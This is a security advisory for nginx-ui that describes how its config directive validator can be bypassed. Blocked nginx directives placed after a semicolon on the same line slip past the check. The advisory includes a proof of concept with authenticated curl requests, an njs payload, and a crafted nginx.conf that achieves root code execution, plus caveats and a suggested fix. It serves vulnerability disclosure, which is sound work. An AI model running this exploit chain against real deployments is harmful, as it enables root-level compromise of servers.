GHSA-cf23-7qxj-xmhr: Input Validation

Summary config.ValidateConfigFile is the security control that blocks dangerous nginx directives (js, perl, loadmodule of njs/perl modules, user root). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked directive after a ; on the SAME line defeats every check. The include directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST config modify endpoint (api/config/modify.go), the MCP nginxconfigmodify tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngxhttpjsmodule.so), this leads to code execution in the nginx worker; with user root the workers run as root.

This is distinct from the configadd gap (the MCP nginxconfigadd tool not calling the validator at all): here the validator IS called and still bypassed, so fixing configadd does not fix this.

Root cause (internal/config/validation.go, ValidateConfigDirectives) go for , line := range bytes.Split(content, []byte("\n")) { // splits on \n only trimmed := strings.TrimSpace(string(line)) ... directive := firstDirectiveToken(trimmed) // first [a-zA-Z] of the line if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token if directive == "loadmodule" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token if , blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token } nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a. include is absent from blockedConfigDirectives.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile.

1) Baseline — validator works on a plain line: curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"x.conf","basedir":"","content":"jsimport a.js;","overwrite":true}' -> 40017 "file content contains restricted nginx directive: jsimport" (REJECTED)

2) Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent): poc.conf: import fs from 'fs'; function pwn(r){ fs.writeFileSync('/tmp/NJSVIADENYLISTBYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); } export default { pwn }; curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"poc.conf","basedir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED

3) Overwrite the main nginx.conf via the VALIDATED nginxconfigmodify MCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile): nginx workerprocesses 1; loadmodule /usr/lib/nginx/modules/ngxhttpjsmodule.so; errorlog /var/log/nginx/error.log notice; user root; pid /run/nginx.pid; events { workerconnections 1024; } http { include /etc/nginx/mime.types; defaulttype application/octet-stream; jsimport poc from /etc/nginx/poc.conf; server { listen 8897; location = /pwn3 { jscontent poc.pwn; } } }

4) Reload. Result: - nginx -t successful. - worker /proc/<pid>/status → Uid: 0 0 0 0 (root) — the blocked user root took effect. - GET http://127.0.0.1:8897/pwn3 → pwned2 — jscontent executed. - /tmp/NJSVIADENYLISTBYPASS.txt created, owned by root → njs code execution as root.

(An MCP-over-SSE client for steps using nginxconfigmodify is included in the configadd report as pocmcpclient.py; the same client drives this PoC. X-Node-Secret authenticates both REST and MCP.)

Impact Authenticated config-injection that defeats the directive-validation control on all guarded write paths. On deployments with njs/perl available (the official Docker image ships ngxhttpjsmodule.so): code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed reload) plus user root privilege regression.

Honest scope / caveats - Authenticated (node secret or user JWT), agent-mediated — not unauthenticated. - What was live-verified: the bypass + full RCE on POST /api/configs (add) and the MCP nginxconfigmodify tool. The other callers — REST config modify (api/config/modify.go), site save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME ValidateConfigFile (code-confirmed), so they are affected by construction; I did not individually live-test each. - RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. On stock nginx without those modules the injected loadmodule/js make reload fail → DoS plus a user root privilege regression (inferred from nginx module behavior; not separately tested on a stock build). - The ; and include bypasses are fully confirmed live. A backslash line-continuation variant was accepted by the validator but its nginx parsing was not separately confirmed and is not relied on. - "Full host compromise" describes the capability of root file read/write via njs fs (proven: a root-owned file was written); the subsequent authorizedkeys/cron step is a well-known escalation, not something this PoC executed.

Suggested fix Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on ; (and handle blocks, comments, line continuations), validate EVERY statement, block/limit include, and recurse into included files — or validate via an allowlist and/or by running nginx -t on the candidate before activating it.

Dedup / novelty Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported configadd validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.